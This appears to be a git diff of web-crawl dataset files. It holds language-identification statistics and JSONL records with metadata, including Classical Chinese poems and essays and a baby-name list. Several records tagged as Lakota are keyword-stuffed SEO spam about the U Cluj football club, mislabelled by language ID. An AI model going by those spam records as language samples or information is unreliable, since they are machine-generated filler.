nhan tu tien in here. you can look below.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/beli.club\/product\/1005003426585354\/400pcs-standard-pre-cut-0-60-8mm-welding-wave-staples-hot-for-plastic-stapler-repair-kit-welder-tool-accessory","date":"2024-02-25T15:04:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474617.27\/warc\/CC-MAIN-20240225135334-20240225165334-00803.warc.gz","language":"lac","language_score":0.3711947203,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 0.3711947202682495, \"rop_Latn_score\": 0.11801362037658691, \"cmr_Latn_score\": 0.09712471067905426, \"oke_Latn_score\": 0.06634774059057236, \"wbm_Latn_score\": 0.05833517014980316, \"uri_Latn_score\": 0.04396265745162964, \"cdf_Latn_score\": 0.03717406839132309, \"aim_Latn_score\": 0.031015468761324883, \"wim_Latn_score\": 0.029561273753643036, \"kha_Latn_score\": 0.01647961139678955, \"ccp_Latn_score\": 0.014520754106342793, \"dhg_Latn_score\": 0.012378482148051262}","num_words":80,"character_repetition_ratio":0.403,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.323,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"u cluj, u cluj fc, u cluj botosani, u cluj meciuri, u cluj fcsb, u cluj hermannstadt, u cluj shop, u cluj cfr, u cluj fotbal, u cluj sepsi, u cluj vs fcsb, u cluj transfermarkt\nu cluj. There are any references about u cluj in here. you can look below.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ja.onsmarthomesystem.com\/product\/1005004375786459\/country-professional-acoustic-guitar-6-strings-beginner-high-quality-resonator-guitar-large-veneer-violao-acustico-acoustics","date":"2024-04-25T05:08:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712297284704.94\/warc\/CC-MAIN-20240425032156-20240425062156-00230.warc.gz","language":"lac","language_score":0.9300197959,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9300197958946228, \"quc_Latn_score\": 0.028782067820429802, \"ron_Latn_score\": 0.011311287991702557}","num_words":51,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":0.935,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"u cluj, u cluj fcsb, u cluj meciuri, u cluj botosani, u cluj shop, u cluj cfr, u cluj fotbal, u cluj hermannstadt, u cluj sepsi, u cluj baschet, u cluj farul, u cluj uta, u cluj logo, u cluj transfermarkt, u cluj bilete, u cluj rapid\nU Cluj. There are any references about U Cluj in here. you can look below.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sora.my.id\/?q=U%20Cluj&title=U%20Cluj","date":"2024-04-19T19:54:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817442.65\/warc\/CC-MAIN-20240419172411-20240419202411-00465.warc.gz","language":"lac","language_score":0.8547463417,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.8547463417053223, \"quc_Latn_score\": 0.04537075012922287, \"ron_Latn_score\": 0.03328384831547737, \"als_Latn_score\": 0.018775135278701782, \"bos_Latn_score\": 0.010523606091737747}","num_words":62,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":0.904,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/lac_Latn/fineweb-2_000001_stas.jsonl b/lac_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..15cd298433829cebe8034038b81256752d7972fa --- /dev/null +++ b/lac_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 1186.7977528089887, + "character_repetition_ratio": 0.08556741573033708, + "word_repetition_ratio": 0.021044943820224718, + "special_characters_ratio": 0.2904943820224719, + "stopwords_ratio": 0.4619943820224719, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9900337078651685, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 665.241861563877, + "character_repetition_ratio": 0.03740648947868943, + "word_repetition_ratio": 0.06069863114395293, + "special_characters_ratio": 0.014910311337080302, + "stopwords_ratio": 0.05553736440310093, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.06309399968589798, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 1230.5, + "character_repetition_ratio": 0.078, + "word_repetition_ratio": 0.001, + "special_characters_ratio": 0.293, + "stopwords_ratio": 0.474, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 3006.0, + "character_repetition_ratio": 0.403, + "word_repetition_ratio": 0.288, + "special_characters_ratio": 0.318, + "stopwords_ratio": 0.581, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 51.0, + "character_repetition_ratio": 0.029, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.223, + "stopwords_ratio": 0.188, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.323, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1998.2, + "character_repetition_ratio": 0.11230000000000001, + "word_repetition_ratio": 0.02630000000000001, + "special_characters_ratio": 0.306, + "stopwords_ratio": 0.507, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 1679.0, + "character_repetition_ratio": 0.0915, + "word_repetition_ratio": 0.009, + "special_characters_ratio": 0.3, + "stopwords_ratio": 0.49275, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 1230.5, + "character_repetition_ratio": 0.078, + "word_repetition_ratio": 0.001, + "special_characters_ratio": 0.293, + "stopwords_ratio": 0.474, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 810.25, + "character_repetition_ratio": 0.068, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.28325, + "stopwords_ratio": 0.444, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "178", + "keep size": "152", + "remove size": "26" + } +] \ No newline at end of file diff --git a/lzh_Hani/fineweb-2_000001_keep.jsonl b/lzh_Hani/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..275785f8de84af9ee4e047cb4445c01e6a83c038 --- /dev/null +++ b/lzh_Hani/fineweb-2_000001_keep.jsonl @@ -0,0 +1,1238 @@ +{"text":"其二\n大道如青天,我獨不得出。羞逐長安社中兒,赤雞白狗賭梨栗。彈劍作歌奏苦聲,曳裾王門不稱情。淮陰市井笑韓信,漢朝公卿忌賈生。君不見,昔時燕家重郭隗,擁篲折節無嫌猜。劇辛樂毅感恩分,輸肝剖膽效英才。昭王白骨縈蔓草,誰人更掃黃金臺?行路難,歸去來!\n其三\n有耳莫洗潁川水,有口莫食首陽蕨。含光混世貴無名,何用孤高比雲月?吾觀自古賢達人,功成不退皆殞身。子胥既棄吳江上,屈原終投湘水濱。陸機雄才豈自保?李斯稅駕苦不早。華亭鶴唳詎可聞?上蔡蒼鷹何足道?君不見,吳中張翰稱達生,秋風忽憶江東行。且樂生前一杯酒,何須身後千載名?","id":"","dump":"CC-MAIN-2015-32","url":"http:\/\/www3.telus.net\/arts\/poems\/lee%20bai\/lee_bai.html","date":"2015-07-31T11:21:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-32\/segments\/1438042988250.59\/warc\/CC-MAIN-20150728002308-00112-ip-10-236-191-2.ec2.internal.warc.gz","language":"lzh","language_score":0.5591678023,"language_script":"Hani","minhash_cluster_size":37,"top_langs":"{\"lzh_Hani_score\": 0.5591678023338318, \"cmn_Hani_score\": 0.17913110554218292, \"nan_Hani_score\": 0.15096251666545868, \"yue_Hani_score\": 0.030071157962083817, \"wuu_Hani_score\": 0.021067464724183083, \"jpn_Jpan_score\": 0.01161696296185255}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.45,"perplexity_score":500.0,"cluster_detection":1} +{"text":"群書治要卷四十五\n昌 言\n德教者。人君之常任也。而刑罰爲之佐助焉。古之聖帝明王所以能親百姓。訓五品。和萬邦。蕃黎民。召天地之嘉應。降鬼神之吉靈者。實德是爲。而非刑之攸致也。至於革命之期運。非征伐用兵。則不能定其業。奸宄之成群。非嚴刑峻法。則不能破其黨。時勢不同。所用之數。亦宜异也。教化以禮義爲宗。禮義以典籍爲本。常道行於百世。權宜用於一時。所不可得而易者也。故制不足則引之無所至。禮無等則用之不可依。法無常則網羅當道路。教不明則士民無所信。引之無所至。則難以致治。用之不可依。則無所取正。羅網當道路。則不可得而避。士民無所信。則其志不知所定。非治理之道也。誠令方來之作。禮簡而易用。儀省而易行。法明而易知。教約而易從。篇章既著。勿復刊剟。儀故既定。勿復變易。而人主臨之以至公。行之以忠仁。壹德於恒久。先之用己身。又使通治亂之大體者。總綱紀而爲輔佐。知稼穡之艱難者。親民事而布惠利。政不分於外戚之家。權不入於宦竪之門。下無侵民之吏。京師無佞邪之臣。則天神可降。地衹可出。\n大治之後。有易亂之民者。安寧無故。邪心起也。大亂之後。有易治之勢者。創艾禍灾。樂生全也。刑繁而亂益甚者。法難勝避。苟免而無耻也。教興而罰罕用者。仁義相厲。廉耻成也。任循吏於大亂之會。必有恃仁恩之敗。用酷吏於清治之世。必有殺良民之殘。此其大數也。我有公心焉。則士民不敢念其私矣。我有平心焉。則士民不敢行其險矣。我有儉心焉。則士民不敢放其奢矣。此躬行之所徴者也。開道塗焉。起隄防焉。舍我塗而不由。逾隄防而横行。逆我政者也。誥之而知罪。可使悔遏於後矣。誥之而不知罪。明刑之所取者也。教有道。禁不義。而身以先之。令德者也。身不能先。而聰略能行之。嚴明者也。忠仁爲上。勤以守之。其成雖遲。君子之德也。譎詐以御其下。欺其民而取其心。雖有立成之功。至德之所不貴也。\n廉隅貞潔者。德之令也。流逸奔隨者。行之污也。風有所從來。俗有所由起。疾其末者刈其本。惡其流者塞其源。夫男女之際。明别其外内。遠絶其聲音。激厲其廉耻。塗塞其虧隙。由尚有胸心之逸念。睇盼之過視。而况開其門。導其徑者乎。今嫁娶之會。捶杖以督之。戲謔酒醴以趣其情欲。宣淫佚於廣衆之中。顯陰私於族親之間。污風詭俗。生淫長奸。莫此之甚。不可不斷者也。\n漢興以來。皆引母妻之黨爲上將。謂之輔政。而所賴以治理者甚少。而所坐以危亂者甚衆。妙采於萬夫之望。其良猶未可得而遇也。况欲求之妃妾之黨。取之於驕盈之家。徼天幸以自獲其人者哉。夫以丈夫之智。猶不能久處公正。長思利害。耽榮樂寵。死而後已。又况婦人之愚。而望其遵巡正路。謙虚節儉。深圖遠慮。爲國家校計者乎。故其欲關豫朝政。恇快私願。是乃理之自然也。昔趙綰白不奏事於大后。而受不測之罪。王章陳日蝕之變。而取背叛之誅。夫二后不甚名爲無道之婦人。猶尚若此。又况吕后。飛燕。傅昭儀之等乎。\n夫母之於我尊且親。於其私親。亦若我父之欲厚其父兄子弟也。妻之於我愛且媟。於其私親。亦若我之欲厚我父兄子弟也。我之欲盡孝順於慈母。無所擇事矣。我之欲效恩情於愛妻妾。亦無所擇力矣。而所求於我者。非使我有四體之勞苦。肌膚用(用恐衍)之疾病也。夫以此欬唾盼睇之間。至易也。誰能違此者乎。唯不世之主。抱獨斷絶异之明。有堅剛不移之氣。然後可庶幾其不陷没流淪耳。\n宦竪者。傳言給使之臣也。拚掃是爲。超(超疑趁)走是供。傳延房臥之内。交錯婦人之間。又亦實刑者之所宜也。孝宣之世。則以弘恭爲中書令。石顯爲僕射。中宗嚴明。二竪不敢容錯其奸心也。後暨孝元常抱病而留好於音樂。悉以樞機委之石顯。則昏迷霧亂之政起。而仇忠害正之禍成矣。嗚呼。父子之間相監至近。而明暗之分若此。豈不良足悲耶。孝桓皇帝起自蠡吾而登至尊。侯覽。張讓之等。以亂承亂。政令多門。權利并作。迷荒帝主。濁亂海内。高命士惡其如此。直言正諭。與相摩切。被誣見陷。謂之黨人。靈皇帝登自解犢。以繼孝桓。中常侍曹節。侯覽等。造爲維綱。帝終不寤。寵之日隆。唯其所言。無求不得。凡貪淫放縱。僭凌横恣。撓亂内外。螫噬民化。隆自順桓之時。盛極孝靈之世。前後五十餘年。天下亦何緣得不破壞耶。古之聖人。立禮垂典。使子孫少在師保。不令處於婦女小人之間。蓋猶見此之良審也。\n和神氣。懲思慮。避風濕。節飲食。適嗜欲。此壽考之方也。不幸而有疾。則鍼石湯藥之所去也。肅禮容。居中正。康道德履仁義。敬天地。恪宗廟。此吉祥之術也。不幸而有灾。則克己責躬之所復也。然而有禱祈之禮。史巫之事者。盡中正。竭精誠也。下世(世下有脱文)其本而爲奸邪之階。於是淫厲亂神之禮興焉。侜張變怪之言起焉。丹書厭勝之物作焉。故常俗忌諱可笑事。時世之所遂往。而通人所深疾也。且夫掘地九仞以取水。鑿山百步以攻金。入林伐木不卜日。適野刈草不擇時。及其構而居之。制而用之。則疑其吉凶。不亦迷乎。簡郊社。慢祖禰。逆時令。背大順。而反求福佑於不祥之物。取信誠於愚惑之人。不亦誤乎。彼圖家畫舍。轉局指天者。不能自使室家滑利。子孫貴富。而望其能致之於我。不亦惑乎。\n今有嚴禁於下而上不去。非教化之法也。諸厭勝之物。非禮之祭。皆所宜急除者也。情無所止。禮爲之儉。欲無所齊。法爲之防。越禮宜貶。逾法宜刑。先王之所以紀綱人物也。若不制此二者。人情之縱横馳騁。誰能度其所極者哉。表正則影直。範端則器良。行之於上。禁之於下。非元首之教也。君臣士民。并順私心。又大亂之道也。\n頃皇子皇女有夭折。年未及殤。爵加王主之號。葬從成人之禮。非也。及下殤以上。已有國邑之名。雖不合古制。行之可也。王侯者所與共受氣於祖考。幹合而支分者也。性類純美。臭味芬香。孰有加此乎。然而生長於驕溢之處。自恣於色樂之中。不聞典籍之法言。不因師傅之良教。故使其心同於夷狄。其行比於禽獸也。長幼相效。子孫相襲。家以爲風。世以爲俗。故姓族之門。不與王侯婚者。不以其五品不和睦。閨門不潔盛耶。所貴於善者。以其有禮義也。所賤於惡者。以其有罪過也。今以所貴者教民。以所賤者教親。不亦悖乎。可令王侯子弟悉入大學。廣之以他山。肅之以二物。則腥臊之污可除。而芬芳之風可發矣。\n有天下者。莫不君之以王。而治之以道。道有大中。所以爲貴也。又何慕於空言高論難行之術。而臺榭則高數十百尺。壁帶加珠玉之物。木土被綈錦之飾。不見夫之女子成市於宫中。未曾御之。婦人生幽於山陵。繼體之君。誠欲行道。雖父之所興。可有所壞者也。雖父之美人。可有所嫁者也。至若門庭足以容朝賀之會同。公堂足以陳千人之坐席。臺榭足以覽都民之有無。防闥足以殊五等之尊卑。宇殿高顯敞。而不加以雕采之巧。錯塗之飾。是自其中也。苑囿池沼。百里而還。使芻蕘雉菟者得時往焉。隨農郄而講事。因田狩以教戰。上虔郊廟。下虞賓客。是又自其中也。嫡庶之數。使從周制。妾之無子與希幸者。以時出之。均齊恩施。以廣子姓。使令之人。取足相供。時其上下。通其隔曠。是又自然其中也。\n在位之人。有乘柴馬弊車者矣。有食菽藿者矣。有親飲食之蒸烹者矣。有過客不敢沽酒市脯者矣。有妻子不到官舍者矣。有還奉禄者矣。有辭爵賞者矣。莫不稱述以爲清邵。非不清邵。而不可以言中也。好節之士。有遇君子而不食其食者矣。有妻子凍餧而不納善人之施者矣。有茅茨蒿屏而上漏下濕者矣。有窮居僻處求而不可得見者矣。莫不嘆美以爲高潔。此非不高潔。而不可以言中也。\n夫世之所以高此者。亦有由然。先古之制休廢。時王之政不平。直正不行。詐僞獨售。於是世俗同共知節義之難復持也。乃舍正從邪。背道而馳奸。彼獨能介然不爲。故見貴也。如使王度昭明。禄除從古。服章不中法。則詰之以典制。貨財不及禮。則間之以志故。向所稱以清邵者。將欲何矯哉。向所嘆云高潔者。欲以何厲哉。故人主能使違時詭俗之行。無所復剴摩。困苦難爲之約。無所復激切。步驟乎平夷之塗。偃息乎大中之居。人享其宜。物安其所。然後足以稱賢聖之王公。中和人君子(人嘗作之)矣。\n古者君之於臣。無不答拜也。雖王者有變。不必相因。猶宜存其大者。御史大夫。三公之列也。今不爲起。非也。爲太子時太傅。即位之後。宜常答其拜。少傅可比三公。爲之起。周禮。王爲三公六卿錫衰。爲諸侯緦衰。爲大夫士疑衰。及於其病時。皆自問焉。古禮雖難悉奉行。師傅三公。所不宜闕者也。凡在京師。大夫以上疾者。可遣使修賜問之恩。州牧郡守遠者。其死。然後有吊贈之禮也。坐而論道。謂之三公。作而行之。謂士大夫。論道必求高明之士。幹事必使良能之人。非獨三太三少可與言也。凡在列位者皆宜及焉。故士不與其言。何知其術之淺深。不試之事。何以知其能之高下。與群臣言議者。又非但用觀彼之志行。察彼之才能也。乃所以自弘天德。益聖性也。猶十五志學(猶上恐脱聖人二字)。朋友講習。自强不息。德與年進。至於七十。然後心從而不逾矩。况於不及中規者乎。而不自勉也。\n公卿列校。侍中尚書。皆九州之選也。而不與之從容言議。諮論古事。訪國家正事。問四海豪英。琢磨珪璧。染練金錫。何以昭仁心於民物。廣令聞於天下哉。人主有常不可諫者五焉。一曰廢后黜正。二曰不節情欲。三曰專愛一人。四曰寵幸佞諂。五曰驕貴外戚。廢后黜正。覆其國家者也。不節情欲。伐其性命者也。專愛一人。絶其繼嗣者也。寵幸佞諂。壅蔽忠正者也。驕貴外戚。淆亂政治者也。此爲疾痛。在於膏肓。此爲傾危。比於累卵者也。然而人臣破首分形所不能救止也。不忌(忌恐當作忘)初故。仁也。以計御情。智也。以嚴專制。禮也。豐之以財而勿與之位。亦足以爲恩也。封之以土而勿與之權。亦足以爲厚也。何必友(友恐當作久)年彌世。惑賢亂國。然後於我心乃快哉。\n人之事親也。不去乎父母之側。不倦乎勞辱之事。唯父母之所言也。唯父母之所欲也。於其體之不安。則不能寢。於其飡之不飽。則不能食。孜孜爲此以没其身。惡有爲此人父母而憎之者也。人之事君也。言無小大。無愆也。事無勞逸。無所避也。其見識知也。則不恃恩寵而加敬。其見遺忘也。則不懷怨恨而加勤。安危不貳其志。險易不革其心。孜孜爲此。以没其身。惡有爲此人君長而憎之者也。人之交士也。仁愛篤恕。謙遜敬讓。忠誠發乎内。信效著乎外。流言無所受。愛憎無所偏。幽閑攻人之短。會友述人之長。有負我者。我又加厚焉。有疑我者。我又加信焉。患難必相及。行潜德而不有。立潜功而不名。孜孜爲此。以没其身。惡有與此人交而憎之者也。故事親而不爲親所知。是孝未至者也。事君而不爲君所知。是忠未至者也。與人交而不爲人所知。是信義未至者也。\n父母怨咎人。不以正己。審其不然。可違而不報也。父母欲與人以官位爵禄。而才實不可。可違而不從也。父母欲爲奢泰侈靡以適心快意。可違而不許也。父母不好學問。疾子孫之爲之。可違而學也。父母不好善士。惡子孫交之。可違而友也。士友有患故待己而濟。父母不欲其行。可違而往也。故不可違而違。非孝也。可違而不違。亦非孝也。好不違。非孝也。好違。亦非孝也。其得義而已也。\n昔高祖誅秦項而陟天子之位。光武討篡臣而復已亡之漢。皆受命之聖主也。蕭。曹。丙。魏。平。勃。霍光之等。夷諸吕。尊太宗。廢昌邑。而立孝宣。經緯國家。鎭安社稷。一代之名臣也。二主數子之所以震威四海。布德生民。建功立業。流名百世者。唯人事之盡耳。無天道之學焉。然則王天下。作大臣者。不待於知天道矣。所貴乎用天之道者。則指星辰以授民事。順四時而興功業。其大略吉凶之祥。又何取焉。故知天道而無人略者。是巫醫卜祝之伍。下愚不齒之民也。信天道而背人事者。是昏亂迷惑之主。覆國亡家之臣也。\n問者曰。治天下者。壹之乎人事。抑亦有取諸天道也。曰。所取於天道者。謂四時之宜也。所壹於人事者。謂治亂之實也。周禮之馮相。保章。其無所用耶。曰。大備於天人之道耳。是非治天下之本也。是非理生民之要也。曰。然則本與要奚所存耶。曰。王者官人無私。唯賢是親。勤卹政事。屢省功臣。賞錫期於功勞。刑罰歸乎罪惡。政平民安。各得其所。則天地將自從我而正矣。休祥將自應我而集矣。惡物將自舍我而亡矣。求其不然。乃不可得也。\n王者所官者。非親屬則寵幸也。所愛者。非美色則巧佞也。以同异爲善惡。以喜怒爲賞罰。取乎麗女。怠乎萬機。黎民冤枉類殘賊。雖五方之兆不失四時之禮。斷獄之政不違冬日之期。蓍龜積於廟門之中。犧牲群麗碑之間。馮相坐臺上而不下。祝史伏壇旁而不去。猶無益於敗亡也。從此言之。人事爲本。天道爲末。不其然與。故審我已善而不復恃乎天道。上也。疑我未善。引天道以自濟者。其次也。不求諸己而求諸天者。下愚之主也。令(令當作今)夫王者誠忠心於自省。專思慮於治道。自省無愆。治道不謬。則彼嘉物之生。休祥之來。是我汲井而水出。爨竈而火燃者耳。何足以爲賀者耶。故歡於報應。喜於珍祥。是劣者之私情。夫可謂大上之公德也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022074.html","date":"2017-04-24T03:31:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00330-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4554221034,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4554221034049988, \"cmn_Hani_score\": 0.21852846443653107, \"nan_Hani_score\": 0.07225023210048676, \"jpn_Jpan_score\": 0.03627731651067734, \"zxx_Latn_score\": 0.029482830315828323, \"wuu_Hani_score\": 0.02245776727795601, \"und_Tang_score\": 0.014702201820909977}","num_words":22,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.455,"perplexity_score":500.0,"cluster_detection":1} +{"text":"古典詩刊第235集 詩課課題:懷遠 鄧 璧一如萍跡任飄流 屈指匆匆六十秋 心繫長溪通古畝 夢回楚尾接吳頭紅顏有恨音書斷 青塚無言歲月悠 葉欲歸根歸未得 至今猶在海東陬註:長溪、古畝皆故鄉地名。 同題 江 沛鄉思偏縈枕 還家夢最多 常邀巴郡月 共泛洞庭波 郢客歌猶盛 湘絃調更和 屈祠千載矗 歷史有長河 同題 楊君潛去年南浦君云別 今日東籬菊又開 為問故人緣底事 不隨鴻雁逐秋回 同題 朱遐昌良人征塞北 苦別廿餘年 一去無消息 死生勞夢牽其二故土三千里 南來六十年 無家歸不得 腸斷奈何天 同題 陳恕忠大地分離六十春 髫齡轉眼鬢如銀 曰侵無道心長記 華夏重光歇海濱 同題 姚 植遠大胸懷壁壘強 肩挑日月寫文章 高風博古書千卷 亮節通今字萬行處事須留君子意 吟詩且學醉仙狂 松搖士志堅貞節 奪得千秋後世香其二詩懷遠志擬清幽 考古尋今策本謀 舞劍聞雞酣楚客 揚風扢雅看吳鉤三杯酒盡都如夢 萬里書回似欲秋 日暖雲山斜照路 風搖水殿上層樓 同題 甯佑民隔海難相見 愁絲萬縷長 關山雖久別 桑梓未曾忘 泉石君饒趣 吟哦我自忙 臨風遙寄意 珍重晚秋涼 同題 柏蔚鵬老邁多思夢不成 登高嘯傲訴衷情 當年背井奔千里 晚歲他鄉過一生人禍寡情親友隔 天災浩劫鬼神驚 重陽避難防災節 懷遠還祈國太平同題 陳麗華千里人懷遠 無由祇自傷 風塵催老態 甘苦任他鄉 不是雙棲鳥 相思兩斷腸 何堪秋月下 別緒引杯長 同題 羅澤沛離台赴美十餘年 秋月春風日夜牽 筆寫真情心念遠 前途事業必求全 同題 黃由福依依惜別幾多年 地北山南各一天 歲月無情催我老 青絲白髮意茫然 同題 羅學聖動亂悲歡六十年 親朋離散避狼煙 而今尚有心頭恨 懷念佳人望海天其二分飛勞燕隔重城 喜獲瑤函振玉聲 富學雄才名士範 高風亮節素心明縈懷每自辭中見 別緒偏從夢裡生 遠望天涯難聚首 江山萬里總關情 同題 陶鼎尼有友去遠方 三月時日長 未得通消息 襟懷頗感傷 往時同唱和 如今獨酒漿 早晚影不離 節序樂未央何故無書信 其因費考量 友兮吾在念 請為說端詳 同題 蕭德侯輾轉終宵悶 懷人獨掩扉 灞橋情折柳 河路淚沾衣 海峽郵難阻 雲峰夢未稀 何時能訴別 感嘆不勝欷 同題 謝 泓懷遠邊陲四海歸 南蠻北狄盡來依 炎黃史蹟觀興廢 一統江山奠帝畿其二懷遠川城憶麗人 芸窗不復守雞晨 隨軍轉進離烽火 兵禍連連兩失神 同題 周代熾遙憶從前分袂處 不知何日再君來 月明莫悵關山遠 電訊常通笑口開水帶離愁空盼望 詩牽別恨獨低徊 天涯極目斜陽裏 風笛三聲酒一杯其二堤邊楊柳再堪攀 聞道親朋未擬還 別後幾年增白髮 望中千里滿青山乾坤浩蕩人仍健 道路迢遙夢亦閒 海外羈棲多雨雪 勸君早日返鄉關 同題 湛國屏孤燈照影雨如絲 夜入深秋玉漏遲 欲遣新愁無好計 偶因幻想憶當時鏡中白髮年年短 窗外金風瑟瑟吹 惟有兒孫能解寂 相離萬里最堪思 同題 蘇仲明童年憶故鄉 山疊水流長 薯芋隨時種 禾瓜滿地香 雞啼催曉起 犬吠守天光 四季勤耕織 詩書誦學堂 同題 柏華國莫忘七七日倭狂 英勇兵團即抵當 全國人民齊抗戰 三軍將士赴疆場南京屠殺卑愚策 重慶遷都妙智方 大戰同盟結歐美 光榮勝利列超強 同題 廖世覺庭園細雨打芭蕉 動我鄉思萬里飄 極目天涯滄海闊 離愁忍聽雁聲迢其二人隨旅跡到遐方 海角飄零作故鄉 數十春秋流水去 遠懷故友徒悲傷 同題 雷 祥島南洪氾釀成災 路斷橋坍萬物摧 重建安民宜儘速 廟廊籌劃莫徘徊其二來台達賴引波瀾 兩岸關懷著意看 但願風平洄浪靜 訏謨好景共相歡其三童孫敏慧性淳良 尚學精神亦甚強 唯盼將來修德業 為人處世把名揚 同題 周 健卅五年冬攻涿鹿 高昂戰志氣如虹 當時伙伴今何在 縈繫夢中尋老翁其二懷君六十年 戰地共薪眠 屢寄書難達 箏琴痛斷絃 同題 李能學海角天涯難再逢 當年分手各西東 荷塘小院芬芳日 柳絮長隄淡蕩風千里相思今昔異 幾翻信息有無中 此情欲寄如何達 都似黃粱一夢空 同題 杜紫楓城垣矗立映斜陽 雄峙曾經氣勢昂 多少興衰存廢事 今人傷似古人傷 同題 黃 斌懷思萬里故鄉親 憶昔兒時玩伴人 屋後門前相踐約 同遊往事最堪珍其二客裡縈懷是母親 恩深似海百年真 承歡膝下難如願 愧我烏私未報申 同題 黃漢英文強遠祖生東漢 幼喪慈親事父揚 熱扇枕涼冷溫被 黃香孝思世流長 同題 楊學我一生富貴皆空夢 過客誰堪利慾風 今古浮沉詩句裏 是非成敗酒盃中 同題 周文郁海東遙望楚西邊 雁斷魚沉六十年 不識家鄉何景況 把杯對月問長天 同題 唐謨國同窗共事十三年 投筆從戎各向前 戡亂分途西北地 至今皓首思猶牽其二隔岸三千里 家鄉在彼方 祖宗基業地 親友集居莊 兄長遭批鬥 慈親也慘傷 探親逾十載 惦念未能忘 同題 任 翅兒時為玩伴 分袂阻山川 遠隔三千里 懷思六十年 魚沉深澗裏 雁落淺灘邊 久矣無消息 天人多變遷其二昔日歡朝夕 如今隔北南 均輸相讚許 抗戰共戎參 耳目靈難銳 身心弱不堪 只因雲路阻 相慰總空談 .msgcontent .wsharing ul li { text-indent: 0; } 分享 Facebook Plurk YAHOO!\n.","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/uiueikxf.pixnet.net\/blog\/post\/84119106-%E5%8F%A4%E5%85%B8%E8%A9%A9%E5%88%8A%E7%AC%AC235%E9%9B%86-%E8%A9%A9%E8%AA%B2","date":"2017-06-25T01:52:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320386.71\/warc\/CC-MAIN-20170625013851-20170625033851-00126.warc.gz","language":"lzh","language_score":0.4266890585,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4266890585422516, \"nan_Hani_score\": 0.2760432958602905, \"cmn_Hani_score\": 0.23265695571899414, \"yue_Hani_score\": 0.046873826533555984, \"jpn_Jpan_score\": 0.01059736218303442}","num_words":272,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.434,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓司徒的好聽的男孩名字有哪些呢?名字對人的一生是至關重要的,它在見面之前就已經決定瞭別人對你的第一印象,而且在漫長的人生裡,還無數次地暗示著你自己對未來的判斷,因此給孩子起名,一定要慎重,那姓司徒的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓司徒的好聽的男孩名字!\n姓司徒的好聽的男孩名字\n司徒文琪 司徒捷雅 司徒思蕾 司徒弋涵 司徒明輝 司徒煜玟 司徒戈偉 司徒思瑾 司徒建彥 司徒意海 司徒佩璇 司徒懷峪 司徒鳳 司徒李銀 司徒宗惠 司徒令臣 司徒瑞麟 司徒健柏 司徒定軍 司徒泳 司徒圓圓 司徒洛汐 司徒春蕾 司徒恒輝 司徒霏蹠 司徒佳寶 司徒洪珍 